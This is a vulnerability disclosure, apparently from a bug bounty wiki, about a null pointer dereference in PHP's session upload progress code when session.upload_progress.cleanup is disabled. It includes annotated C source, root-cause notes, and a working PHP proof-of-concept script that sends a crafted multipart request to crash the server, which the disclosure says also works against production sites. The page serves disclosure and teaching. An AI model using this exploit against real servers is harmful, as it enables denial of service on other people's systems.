Null Pointer Dereference in PHP Session Upload Progress
A null pointer dereference occurs in PHP's session upload progress handling when the session.upload_progress.cleanup option is disabled and a file upload fails. An attacker can remotely crash the PHP process by sending a crafted multipart request.
- Triaged in 2 hours
- Fixed in 8 months
- Paid in 8 months
- Disclosed after 9 months
Affected Versions
Affected is all of PHP5.4/5.5/5.6 Affected is all of PHP7
Credits
This vulnerability was disclosed by Taoguang Chen.
Description
session.c
static int php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra) /* {{{ */
{
...
switch(event) {
case MULTIPART_EVENT_START: {
multipart_event_start *data = (multipart_event_start *) event_data;
progress = ecalloc(1, sizeof(php_session_rfc1867_progress)); <=== the progress was allocated and initialized with zeros.
progress->content_length = data->content_length;
progress->sname_len = strlen(PS(session_name));
PS(rfc1867_progress) = progress;
}
break;
case MULTIPART_EVENT_FILE_START: {
...
if (Z_ISUNDEF(progress->data)) {
...
array_init(&progress->data); <=== if goto MULTIPART_EVENT_FILE_START, &progress->data will be initialized with array-type ZVAL.
...
}
...
}
break;
...
case MULTIPART_EVENT_END: {
multipart_event_end *data = (multipart_event_end *) event_data;
if (Z_TYPE(progress->sid) && progress->key.s) {
if (PS(rfc1867_cleanup)) {
php_session_rfc1867_cleanup(progress);
} else {
SEPARATE_ARRAY(&progress->data); <=== if skip MULTIPART_EVENT_FILE_START, the &progress->data will be uninitialized, and still zeros.
add_assoc_bool_ex(&progress->data, "done", sizeof("done") - 1, 1);
Z_LVAL_P(progress->post_bytes_processed) = data->post_bytes_processed;
php_session_rfc1867_update(progress, 1);
}
php_rshutdown_session_globals();
}
When the session.upload_progress.cleanup INI option is disabled in php.ini with files upload fails, PHP will wrongly handles the upload progress data, then will be able to lead to use of null pointer. So attackers can exploit the issue to crash PHP remotely and don't need for any special PHP script code on the web server side.
Proof of Concept Exploit
The issue can be easily triggered when session.upload_progress.cleanup=0 in php.ini. For exmaple PHP built-in web server.
/www/web/index.php
<?php
//do whatever
?>
Running PHP built-in web server.
$php -S localhost:8000 -t /www/web/ -d session.upload_progress.cleanup=0
poc.php
<?php
$host = 'localhost';
$port = '8000';
$addr = '/index.php';
$type = 'multipart/form-data; boundary=---------------------------2020';
$data = <<<EOF
-----------------------------2020
Content-Disposition: form-data; name="PHPSESSID"
session-upload
-----------------------------2020
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ryat
-----------------------------2020--
EOF;
$message = "POST $addr HTTP/1.1\r\n";
$message .= "Content-Type: $type\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($data)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $data;
$fp = fsockopen($host, $port);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp)) {
$resp .= fread($fp, 1024);
}
var_dump($resp);
?>
Then executing the poc.php will trigger the issue, and crash the PHP built-in web server remotely.
$php poc.php
This poc.php can also be used to attack a production web environments with session.upload_progress.cleanup=0 in php.ini :-)
Impact
The issue can be triggered as of PHP 5.4 with the session.upload_progress.cleanup INI option is disabled, and don't need for any special PHP code on the server side. Attackers can exploit the issue to crash PHP remotely.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the code assumes that a certain event (MULTIPART_EVENT_FILE_START) always occurs before MULTIPART_EVENT_END, so it uses an uninitialized pointer when that event is skipped.
Impact
An attacker can remotely crash the PHP process, causing a denial of service, but only when session.upload_progress.cleanup is disabled.
What the attacker needed
Session.upload_progress.cleanup=0 in php.ini; ability to send HTTP requests to the server
How it was found
- Set session.upload_progress.cleanup=0 in php.ini (or via -d flag when starting PHP built-in server).
- Start a PHP web server with that configuration.
- Send a multipart POST request containing a PHPSESSID field and a PHP_SESSION_UPLOAD_PROGRESS field, but no file part.
- Observe the PHP server crash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
PHP has a feature that tracks the progress of file uploads using sessions. If a setting called session.upload_progress.cleanup is turned off, a malformed upload can cause PHP to use a memory location that was never set up, which crashes the server. An attacker can send a specially crafted request to trigger this crash without needing any special code on the website.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.